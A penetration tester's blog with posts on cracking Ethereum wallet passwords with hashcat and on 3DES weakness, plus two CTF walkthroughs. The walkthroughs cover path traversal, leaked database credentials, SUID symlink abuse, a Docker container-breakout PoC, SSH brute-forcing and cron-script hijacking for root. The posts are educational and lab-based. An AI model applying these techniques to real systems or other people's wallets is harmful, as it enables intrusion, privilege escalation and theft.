Ethereum Wallet Cracking Pt. 2 – GPU vs CPU

First of all, happy new year everyone! ūüėÄ

tl;dr ¬†If hashcat crashes/hangs your system, your wallet scrypt settings more than likely want more RAM than your GPU has. You’ll only be able to crack with a CPU (adding -D 1 #¬† where # is the number hashcat assigns your CPU will select all available CPU devices, or -D 1 -d <number> for an individual CPU) and the hash rate will still be slow ūüė¶


Since writing about cracking various Ethereum wallets using the JSON file, a few people have mentioned that their systems hang/blue screen when they start the crack, so I thought I’d talk about why this is.

scrypt is an anti-GPU algorithm and depending on the scrypt parameters (N, r and p) there’s a fair chance you’ll have to resort to CPU cracking.¬† If you’re a glutton for detail you can find more on these parameters in scrypt’s RFC¬†here, however at a high level they relate to work factor/iteration count, underlying hash blocksize and parallelization factor, respectively. When deciding whether we can crack scrypt with GPUs, the most important factor is N (note that the JSON file will refer to N¬†as n, however I’ll stick to correct notation).

So the reason some of your systems hang when starting hashcat is because the N results in hashcat trying to use more RAM than your GPUs have.


Understanding scrypt Workloads

There are a couple of calculations required to derive the RAM required to GPU crack and remember these are GPU RAM requirements, not system ones.

Step 1: Calculate Single Computation per GPU

size_scrypt = (128 * r) * N

Step 2: Calculate Parallel Computations per GPU

Threads per compute unit * number of compute units = Number of parallel computations

Step 3: Calculate RAM requirement per GPU

size_scrypt * number of parallel computations


When GPUs Can and Can’t Crack

Please note that manufacturers refer to the basic unit of scheduling differently, so the “Threads per compute unit” will differ. NVIDIA cards have a warp size of 32 (a warp has 32 threads) and AMD cards have wavefront size of 64 (a wavefront has 64 threads)… When it comes to “compute units”, NVIDIA cards have stream multiprocessors (SM) and AMD cards just use “compute units” (CU). This’ll be put into context further down…

First let’s use the example from the wallet I used in my previous post.

{“dklen”:32,“n”:1024,”r”:8,”p”:1} – cracking on a GTX 1080

Step 1: (128 * 8) * 1024 = 1024 * 1024 = 1,048,576 bytes = 1 MB

Step 2: 32 (NVIDIA card) * 20 (a 1080 has 20 SMs) = 640 parallel computations

Step 3: 1MB * 640 = 640 MB RAM required per GTX 1080

As a GTX 1080 has 8GB of RAM which is > 640 MB so we can crack the above wallet without issue. Now let’s look at another example wallet:


{“dklen”:32,“n”:262144,”r”:8,”p”:1} – cracking on a Radeon RX Vega 64

Step 1: (128 * 8) * 262144 = 1024 * 262144 = 268,435,456 bytes = 256 MB

Step 2: 64 (AMD card) * 64 (an RX Vega 64 has 64 CUs) = 4,096 parallel computations

Step 3: 256MB * 4,096 = 1,048,576 MB RAM = 1,024 GB RAM required per Vega 64

Last time I checked, a Vega 64 has less than a terabyte of RAM! So this will crash and burn, often ending in a BSOD if the system doesn’t handle the memory failure well.


So how do I CPU crack?

Whenever you start hashcat it will list the devices and show what’s being used.


By default my CPU is skipped and my GPU is being used.

You can check your platform/device info by running hashcat -I (upper i)¬†which you can then use to identify the CPU(s) you wish to try and crack with. By running hashcat –help you can see that it lists 3 device types and CPU is device 1.

So if hashcat -I identified that the your CPU was listed as device number 5, you would add -D 1 -d 5 in your hashcat command to select that device.

In my case I have one CPU device listed so I’ll tell hashcat to use device type 1 (CPU), after which hashcat detects my only available device.

As my CPU is listed as device 1 CPU devices are device type 1 in hashcat, so all I do is add that to the end of my usual hashcat command with -D 1 to select all available CPU devices. Adding -D 1 -d 1¬†in my case would also work, however I only have one CPU anyway. Generally it’s easiest to just use -D 1 to catch everything, see¬† for related reading.


…and as you can see the GPU is skipped and the CPU is used instead.


Wrap Up

When cracking scrypt, take these factors into account when working out what hardware you can crack with. Whether you end up on GPU or CPU the hash rates either way will likely be shockingly poor, but depending on the dictionary size, potential known variables (e.g. password length/partial values etc), don’t necessarily rule out CPU cracking.

If you’re CPU cracking and have zero knowledge of the password you may find that cracking scrypt is worth a crack, pun fully intended. For example on my laptop using a standard small wordlist (rockyou) it’ll take my CPU 15 days (if it even cracks at all of course)…


However when you start adding rules, of which my favourite is OneRuleToRuleThemAll¬†(shameless plugging, my post about that is here), you may decide it’s slightly on the longer side…




So I do the math and that’s how much RAM my system needs?

No. It’s the RAM your GPU has, not your cracking rig.

If my GPU is a little short will it overflow into system RAM after to compensate?


But I run multiple cards on SLI/CrossFire, so if I stack cards I can exceed the requirement right?

No. The requirement is not cumulative, it’s per GPU so each card needs the calculated amount.

How do I CPU crack?

Add -D 1 to use all available CPUs, or -D 1 -d <number> for a specific one. In my example above I want to use all CPUs (I only have one anyway) so I’d add -D 1¬†to my usual hashcat command.

Check your platform/device info by running hashcat -I which you can then use to identify the CPU(s) which you can use with -d . This can then be combined with -D 1 (device type CPU) to select your required device.

E.g. if the CPU you want is listed as device number 4, you would add -D 1 -d 4 to the hashcat command.

If I can only CPU crack, can I reduce/override my scrypt settings to 1024*8*1 so I can GPU crack it?

No. Changing¬†N¬†will change the iteration count, which will change the hash. Hashcat will speed up greatly if you reduce the numbers to make you think you’re #winning, but it won’t crack the hash even if you’ve got the plain in your dictionary.

So what you’re saying is if I’ve forgotten the password to my Eth wallet with ¬£30,000 inside, it might take years to crack if at all?!?!


(although of course if you do recover that ¬£30,000 because of this post, my cut is ¬£2,000 and my address is 0xCA388D10a935d29ccbA9E39b33066C48c3357028) haha! ūüėāūüėāūüėā

Posted in crypto, password cracking, Pentest | 9 Comments

Ethereum Wallet Cracking

Edit 04/01/18: Ethereum Wallet Cracking Pt 2. – GPU vs CPU can be found here

hashcat v3.6.0 was released yesterday and one of the newly supported hashes was Ethereum wallets (Go Ethereum (Geth), Mist¬†and MyEtherWallet variants). This guide will show how a MyEtherWallet JSON keystore file is broken down, how it’s mapped to a hashcat compatible format, and finally an example crack.

First let’s get our wallet. That’s as easy as going to MyEtherWallet, entering a password, clicking generate and downloading it. MyEtherWallet suggests you “enter a strong password (at least 9 characters)”. Firstly this isn’t a suggestion it won’t let you generate your wallet unless your it’s at least 9 characters. ¬†Secondly, I wouldn’t say 9 characters is particularly strong, but that’s an argument for another day. If you don’t set a wallet name, a default is provided (as ours is) which comprises of the UTC time/date generated, followed by your new Ethereum wallet address.

Our wallet’s password is P@ssw0rd1!¬†and the generated keystore file can be found below which is coloured to show how it’s mapped to the hashcat compatible format.



hashcat Format


So from the above we can derive the following hashcat structure…


EDIT (17/07/17): Despite documentation showing the above structure due to transitions between ethereum2john versions, hashcat will accept both $ethereum$s*n*r*p*salt*ciphertext*mac (as shown in this example) and $ethereum$s*n*r*p*salt*mac*ciphertext formats.

…where s references scrypt variant in this instance. The letter p could also be found which indicates it’s a PBKDF2 variant. Fortunately makes the hashcat prep easy (you heard me right, ethereum2john for hashcat prep… ether2hashcat was superseded by it) by just pointing it at the wallet as shown below.


Now we’ve got the hash we can pass it over to hashcat. As we’ve got an scrypt based hash a quick lookup shows the required hashcat mode is 15700.

hashcat64.exe -m15700 $ethereum$s*1024*8*1*437964c9bd1b5f63bde56560808c894792f8f670694590b776e22381e32dd33b*7f5c865554d67604394ae54d7a4f9735bdb85c90e606a672d18add1d167d793b*96f2a849321cc04cb6c0fcee1bd4b195ca681ca28064dc45000f02e47230c5b6 b:\Dictionaries\rockyou.txt --status --status-timer=5 -w3 -r rules\hob064.rule


3 mins 41 secs @ circa 2200 H/s,  job done. FYI this laptop has a mobile GTX 1060.

A couple of general password cracking points to note here…

  • The passwordP@ssw0rd1!¬†isn’t in the standard rockyou dictionary so assuming this dictionary is being used (and commonly is), a non-rule based attack wouldn’t have cracked it.
  • The rule – ¬†They’re important, as I literally just said above ūüėÄ . Algorithm complexity should always be a factor when choosing one. For example, I throw bigger rule sets against fast hashes (e.g. MD5, NTLM) as the speed you’ll crack at will exhaust the larger rule set quicker. As Ethereum scrypt hashes are heinously slow, I’ll throw smaller, more efficient rule sets (relative to size) against it first.

The hob064 rule set used above is very efficient and good first choice when attacking complex algorithms. I’ve already written about hashcat rule efficiency on NotSoSecure’s¬† blog (where you’ll note the most efficient rule tested was hob064). When attacking fast hashes I tend to use my own larger custo m rule, derived from a number of high performing rules against a large hash set. This custom rule was created from the testing noted in the above linked blog, and can be found here¬†if you want to give it a go… although you’ll be waiting a while if you throw it against an Ethereum wallet with a good password!

Edit 04/01/18: A follow up covering why hashcat can crash on Ethereum wallets and GPU/CPU differences can be found in part 2.

Posted in password cracking, Pentest | 44 Comments

hashcat Rule Optimisation


When kicking off a hashcat session I’ve got my favorite dictionary/rule combo’s I always tend to lean on. Sometime’s when time’s against me I don’t want to run several sessions over long periods of time, so I often wonder during these one shot windows whether I’m setting myself up with the best chance of success.

To test this, I took a large variety of shipped hashcat rules along with a few others, and put them through the paces against a large data set. By pulling the stats of the top performing individual rules in each test and combining them, I created an optimised custom rule which when subsequently testing cracked several more than any of the original rule sets.

A¬†complete write up of the testing and stats can be found on NotSoSecure’s blog, and the custom rule is also available on github so you can test it out for yourself ūüôā

Posted in password cracking | Leave a comment

3DES is finally actually broken!

When discussing pentests, I continue to see¬†“weak cipher” issues that go on to say anything < 128 bits is insecure, however 3DES has to date been the exception to this. In turns of cryptographic strength, 3-key 3DES uses three unique 56 bit keys, providing 168 bits of strength before factoring in known attacks that reduce the amount work to break it to that of exhausting a 112 bit key. ¬†Now, 112 bits is less than 128 bits yet NIST who of course factor in the weakness, still state this year that 112 bits is sufficient and acceptable, hence¬†my referral to¬†3DES as being¬†an¬†exception to weak ciphers.

Rather than refer to the support¬†of 112 bit 3DES ciphers as weak, I’ve tended to note it more as an informational point, drawing attention to the NIST, the fact that it’s rapidly approaching the end of it’s useful life, and that stronger cipher suites should be offered and preferred…

…until now (well, two weeks ago on August 24th). The Sweet32¬†attack (CVE-2016-2183)¬†was disclosed showing how collision attacks are now practical against 3DES and Blowfish block ciphers,¬†here’s the paper.¬†The proofs of concept demonstrated the ability to recover a session cookie from a 3DES HTTPS session, and Basic Auth creds sent over¬†an OpenVPN connection. That sounds scary enough but in their test environment it required the capture of 785GB of data which¬†took anywhere between 19-38 hours.

Crap that’s fast.

OpenSSL¬†changes now show¬†the disabling and removal of 3DES in the next update¬†so I reckon it won’t be long now before AES-128 becomes the absolute bare minimum. It’s worth noting that dropping 3DES support will only really prevent XP users running IE6-8 from connecting so unless you have a massive user base running that crusty legacy setup I’d say now it really is worth removing.

…watch this space I guess, the clock’s ticking!

Posted in crypto, Pentest | Leave a comment

7Safe Ethical Hacking Courses accredited by CREST

I’m pleased to write that 7Safe (my employer) have recently had all of their Ethical Hacking courses accredited by CREST! ¬†This is extremely¬†good news as it shows the level of hard work and commitment¬†that is given to maintaining and continually improving our training services.

These courses include:

  • Certified Security Testing Associate (CSTA) – in preparation for CREST ¬†Registered Penetration Tester exam
  • Certified Security Testing Professional¬†(CSTP) – in preparation for CREST ¬†Registered Penetration Tester exam
  • Certified Wireless Security Analyst (CWSA) – in preparation for CREST ¬†Certified Wireless Specialist¬†exam
  • Certified Application Security Tester (CAST) – in preparation for CREST ¬†Certified Web Application Tester exam

Anyone wishing to pursue a CREST certification should enquire about 7Safe’s courses. ¬†Further information about CREST certifications and their recommended preparation courses *cough 7Safe* can be found here.

Posted in Other | Tagged , | Leave a comment

Quick tricks to beat the Flick

So here’s my guide to another CTF from VulnHub called Flick:1. ¬†This one was actually released before Tr0ll:1, but I finished this one after as I was trolled so much on the first one I had to take a break and try something else.

As usual, I made sure the VM was NAT’ed, booted and -sn ‘d my way to an IP, followed by a full port scan.

nmap2 ports, 22 running OpenSSH and an unknown service on 8881. ¬†There was some interesting text appearing as can be seen above (there’s enough to see but I’ve cropped the rest). ¬†I telnet’ed to 8881.

telnet8881So I’m looking to flick a switch and open a door. ¬†As you can see anything I pass is returned to me with ‘OK’ which clearly is not. ¬†Poirot here is already beginning to lose hope as this and SSH (which of course I don’t have any passwords for) are seemingly the only 2 things I have to go on….

Next.  SSH to the box to see if anything is out of the ordinary.


A nice ASCII title and my expected password prompt. But what’s this you say? Loads of ostensibly¬†trivial hex? (once again there’s lots more above but I’ve cropped the picture). ¬†Ok so my leads so far are random hex, or the random hex.

Let’s decode the random hex.


Shazam. This looks like Base64. ¬†Let’s decode…


…and decode, and decode, and decode. Burp’s decoder made this very easy fortunately. ¬†I didn’t count but it was more than 10 times in total. ¬†But alas, could this string be a password? ¬†We could guess some usernames and see if we can now SSH in, but I was thinking more of our switch that we need to flick.


With only 2 ports to start with and both have now been looked at, the “door” almost has to be a metaphor for port. ¬†So here we go again.


Ok, 80’s up. ¬†I appear to have been overrun by cats….. ¬†No, I didn’t say “awww” either.


The site only seemed to have one other page, a login page.  Every attempt to modify the URL to point elsewhere resulted in the second screenshot below, of which none of the links went anywhere.


foobar I tried admin:admin, admin:password etc just to see, no joy.  I then saw that the page stated that demo credentials needed to be used, so I tried demo:password, demo:demo and I (unfortunately I suppose) managed to guess the credentials of demo:demo123 a few tries later.

Once logged in there were 2 immediately apparent differences. ¬†The ability to download pictures and upload new ones. ¬†Contrary to the title¬†of this post, there was nothing ‘quick’ about any of the tricks I tried to get a shell. ¬†I uploaded a¬†shell without issue but couldn’t for the life of me get it to give me anything meaningful. ¬†My upload was stored on the second page and even though I managed to get it to connect to my netcat listener, something was going wrong as it was just sending the text back. ¬†If I were¬†smarter and could code a better shell maybe this would have worked, who knows.

Time to move away from the upload and go to the download.  I intercepted the below request when downloading a picture.


Woohoo, a file path. ¬†The¬†LFI minions in my head scream out to me and I go to work. ¬†Strike 1…


All of the above attempts resulted in a page which contained the following:
invalid response

My ../ seemed to be stripped out in the response, so I tested the theory further by adding a ….// into ¬†the file path. ¬†Strike 2…


Which resulted in the following:

invalid response2Great, it’s only stripping out a single ../ so I padded out the file path until I struck gold. Strike 3?


lfiNo, home run. ¬†I noted a couple of users that were quickly identifiable. ¬†It was at this point that I admit to being stuck for ages, as I tried poking around other locations to try and enumerate further information but didn’t get anywhere meaningful. ¬†Then I finally noticed the ‘laravel’ cookie and having no idea what laravel was, a subsequent Google search told me it was a PHP framework and further reading identified a¬†database config file to be located at¬†app/config/database.php. ¬†Back in Burp repeater I changed the location and removed ….// one set at a time until…

<!--?php return array( 	/* 	|-------------------------------------------------------------------------- 	| PDO Fetch Style 	|-------------------------------------------------------------------------- 	| 	| By default, database results will be returned as instances of the PHP 	| stdClass object; however, you may desire to retrieve records in an 	| array format for simplicity. Here you can tweak the fetch style. 	| 	*/ 	'fetch' => PDO::FETCH_CLASS,

	| Default Database Connection Name
	| Here you may specify which of the database connections below you wish
	| to use as your default connection for all database work. Of course
	| you may use many connections at once using the Database library.

	// Jan 2014 note: We have moved away from the old crappy SQLite 2.x database and moved
	// on to the new and improved MySQL database. So, I will just comment out this as it is
	// no longer in use

	//'default' => 'sqlite',
	'default' => 'mysql',

	| Database Connections
	| Here are each of the database connections setup for your application.
	| Of course, examples of configuring each database platform that is
	| supported by Laravel is shown below to make development simple.
	| All database work in Laravel is done through the PHP PDO facilities
	| so make sure you have the driver for your particular database of
	| choice installed on your machine before you begin development.

	'connections' => array(

		'sqlite' => array(
			'driver'   => 'sqlite',
			'database' => __DIR__.'/../database/production.sqlite', // OLD DATABASE NO LONGER IN USE!
			'prefix'   => '',

		'mysql' => array(
			'driver'    => 'mysql',
			'host'      => 'localhost',
			'database'  => 'flick',
			'username'  => 'flick',
			'password'  => 'resuddecNeydmar3',
			'charset'   => 'utf8',
			'collation' => 'utf8_unicode_ci',
			'prefix'    => '',

		'pgsql' => array(
			'driver'   => 'pgsql',
			'host'     => 'localhost',
			'database' => 'forge',
			'username' => 'forge',
			'password' => '',
			'charset'  => 'utf8',
			'prefix'   => '',
			'schema'   => 'public',

		'sqlsrv' => array(
			'driver'   => 'sqlsrv',
			'host'     => 'localhost',
			'database' => 'database',
			'username' => 'root',
			'password' => '',
			'prefix'   => '',

Now we’re in business. ¬†We have a file path to an ‘old’ SQLite database which I’m going to check out first. ¬†Back to repeater.


sqliteWhy I do believe those are credentials! Robin’s password didn’t work, but fortunately Dean’s did.


There were 2 files in dean’s home directory, message.txt and an executable called real_docker. ¬†Sudo -l didn’t work so I started by looking at the txt file which stated that Dean should be able to read Robin’s¬†dockerfile and provides a location.


So I run the read_docker program and the syntax says I need to pass the location. Copying the one from the message.txt outputs the following.


I noticed the the SUID bit was set on the program so I could run it as the owner, Robin.

-rwsr-xr-x 1 robin robin 8987 Aug  4 14:45 read_docker

I tried all manner of creating files/folders in various places to see if I could write something that would execute as Robin and nothing worked. ¬†I finally created a link to Robin’s profile and tried to get Docker to read it.

dean@flick:~$ ln /home/robin/.bashrc Dockerfile
ln: accessing `/home/robin/.bashrc': Permission denied
dean@flick:~$ ln -s /home/robin/.bashrc Dockerfile
dean@flick:~$ ls -la
total 40
drwxr-xr-x 3 dean  dean  4096 Sep 11 17:13 .
drwxr-xr-x 4 root  root  4096 Aug  2 12:05 ..
-rw-r--r-- 1 dean  dean   220 Aug  2 12:05 .bash_logout
-rw-r--r-- 1 dean  dean  3486 Aug  2 12:05 .bashrc
drwx------ 2 dean  dean  4096 Aug  2 12:31 .cache
lrwxrwxrwx 1 dean  dean    19 Sep 11 17:13 Dockerfile -> /home/robin/.bashrc
-rw-r--r-- 1 root  root  1250 Aug  4 12:56 message.txt
-rw-r--r-- 1 dean  dean   675 Aug  2 12:05 .profile
-rwsr-xr-x 1 robin robin 8987 Aug  4 14:45 read_docker
dean@flick:~$ ./read_docker /home/dean/
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
[ -z "$PS1" ] && return

I tried a standard hard link first which failed, then a symbolic link which didn’t which resulted in successfully reading robin’s .bashrc file. ¬†So maybe if it exists I should try and grab his SSH private key?


Created a file, made it read-only and logged in.


A sudo -l to see what robin can do works:

robin@flick:~$ sudo -l
Matching Defaults entries for robin on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User robin may run the following commands on this host:
    (root) NOPASSWD: /opt/start_apache/

Off we go. I wanted to read what the script was actually doing but¬†I didn’t have permission. ¬†Running it didn’t give me any indication apart from what I expected it to say.

robin@flick:~$ sudo /opt/start_apache/
 * Restarting web server apache2                                                                                                                             apache2: Could not reliably determine the server's fully qualified domain name, using for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using for ServerName
                                                                                                                                                      [ OK ]
start_apache-8000: stopped
start_apache-8000: started

So I left the script and then looked at the Docker program. After wasting time running nearly every command except the one I actually needed, I looked at the version…(pentest 101 fail).

robin@flick:~$ docker version
Client version: 0.11.0
Client API version: 1.11
Go version (client): go1.2.1
Git commit (client): 15209c3
Server version: 0.11.0
Server API version: 1.11
Git commit (server): 15209c3
Go version (server): go1.2.1
Last stable version: 1.2.0, please update docker

Docker is out of date. ¬†Let’s see if there’s anything we can play with here. Quick Googling identifies the following:


Shortly after I found the file on github.  So I grabbed it and looked and examined the file.

This is a Docker Image used to test container breakout exploit first posted here:

The container will attempt to find and print contents of the Docker host's /etc/shadow.

## Usage

To run the PoC exploit use:

 docker run gabrtv/shocker

## Building

To modify source and rebuild, use:

 docker build -t gabrtv/shocker .

So I ran the first command, the script downloaded some files, worked some magic and….

[!] Win! /etc/shadow output follows:

So far so good.  I thought if the script pulls out the shadow file, maybe it can be modified to pull out another file? A flag file maybe?

shockermodI modified the above to /root/flag.txt , ran docker build -t gabrtv/shocker .  to recompile as originally shown in the source file, and finally re-ran it.

robin@flick:~/shocker$ docker run gabrtv/shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'root/flag.txt'
[*] Found .
[*] Found mnt
[*] Found home
[*] Found root
[+] Match: root ino=130833
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x11, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'flag.txt'
[*] Found .
[*] Found .bashrc
[*] Found 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
[*] Found flag.txt
[+] Match: flag.txt ino=165017
[*] Brute forcing remaining 32bit. This can take a while...
[*] (flag.txt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x99, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x99, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
Errr, you are close, but this is not the flag you are looking for.


Haha,¬†still being trolled this far in! ¬†Looking back over the output I noticed a folder present as well as the fictitious flag.txt. ¬†Let’s look in there instead.

Modify, recompile, run and…

robin@flick:~/shocker$ docker run gabrtv/shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/'
[*] Found .
[*] Found mnt
[*] Found home
[*] Found root
[+] Match: root ino=130833
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x11, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving '53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/'
[*] Found .
[*] Found .bashrc
[*] Found 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
[+] Match: 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc ino=138648
[*] Brute forcing remaining 32bit. This can take a while...
[*] (53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x98, 0x1d, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving ''
[*] Found .
[*] Found real_flag.txt
[*] Found ..
[*] Brute forcing remaining 32bit. This can take a while...
[-] Cannot find valid handle!: Bad file descriptor

Aha, this must be it! real_flag.txt ! So for my final ‘quick trick to beat the flick’ I modified the script one last time, recompiled and ran it again…

[*] Resolving 'real_flag.txt'
[*] Found .
[*] Found real_flag.txt
[+] Match: real_flag.txt ino=165015
[*] Brute forcing remaining 32bit. This can take a while...
[*] (real_flag.txt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x97, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x97, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:

You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it :)

ciao for now!


Posted in CTF | Tagged , | Leave a comment

Getting trolled by a tr0ll…

Here’s my rundown of Tr0ll:1, a boot2root on Vulnhub¬†that I had some fun with a few weeks back. ¬†I did feel like I was being trolled as I went at it and there were moments where I nearly needed to order a new keyboard but nevertheless, it was great fun when I finally got there.

I booted the VM and ran nmap -sn to find the IP.  Then followed the port scan.


3 ports with the usual suspects running on them.  Three things that I noted were the anonymous FTP login, a writeable file and a /secret page that might be worth looking into.  I started with a quick look at the web page.


Love it. Let’s go straight to the /secret.


Not mad yet, mildly¬†amused. ¬†There was nothing in the source of these pages and I didn’t want to DirBust it unless it’s a last resort, so I left it and went for VSFTPD. ¬†Before connecting directly I recalled a Metasploit module for this I saw a while back. ¬†I didn’t expect it to work but hey, it’s worth a try for all of the 10 seconds it would take.


Ok, so apparently anonymous is the only way into it. Let’s see if we can find that file.


Let’s load up Wireshark and see what’s in the pcap. ¬†I followed the TCP stream of the first packet and found the following.


What’s that I see…¬†secret_stuff.txt¬†? Thanks muchly. ¬†I then spent an embarrassing amount of time¬†bashing my head on the keyboard running the above and various other commands in my FTP window to try and find¬†the secret stuff, all to no avail. ¬†Only to realise that the data I needed was right in front of me in Wireshark…. >_>


Ooo, sup3rs3cr3tdirlol? Let’s gogogo.

supersecretI downloaded roflmao and had a cursory glance.

roflamoSo it’s an executable that tells me to find an address to continue. ¬†As it was a hex address¬†the forensic sleuth in me instantly thought “offset within the file”. Here we go, onto winner here ūüėÄ


Oh, the file isn’t large enough to contain that offset. ¬†I won’t lie I got stuck here for a while until I had what drunks refer to as “a brief state of clarity” and re-read the clue, “Find address 0x0856BD”.


0x08 subfolders

Right now we’re getting somewhere. ¬†“which_one_lol.txt” contained what appeared to be a list of usernames shown below…

genphlux < -- Definitely not this one

…and “Pass.txt” contained the following:


Schweeeet. ¬†A simple brute force of users¬†with the password! ¬†I added the list of users to a file and ran Hydra with it, shortly after which I was getting errors. ¬†It seemed like there were some throttling of sorts going on to limit my connections. ¬†I got stuck here again for a while until I (probably for the 174th time) went back to the /0x0856BD page and looked again at the contents. ¬†Trying to think a bit more laterally again I looked at the folder “this_folder_contains_the_password” and thought maybe it literally does. ¬†So I ran Hydra again with the same users but this time setting the password to Pass.txt



We’re in. ¬†As overflow albeit it, but we’re in. ¬†Now to try and escalate our privileges. ¬†¬†I started poking around and I couldn’t see terribly much of interest and then….

timeupSomething kicked me out.  I logged back in and quickly searched for all world writable files.

find / -perm -0002 -type f -print 2<dev/null

(For the record there’s a very nice script called LinEnum¬†written by a colleague¬†of mine that enumerates a plethora of useful information¬†about Linux and can identify security mis-configurations in one go)

This resulted in a long list of files, one of which stood out like a sore thumb:


This file contained the following:

cleanerBingo. I first tried editing this to cp /root/flag.txt /tmp/ but it didn’t work and realised the flag may not be called ‘flag’. So rather than guess a few other likely file names and risk actually getting it right, I wanted¬†to get my own root shell to do it properly:


Went to make a coffee with an optimistic smirk on my face whilst I waited to be kicked out again.  Then I logged back in, ran my new shell, and looked for the loot.




Posted in CTF | Tagged , | Leave a comment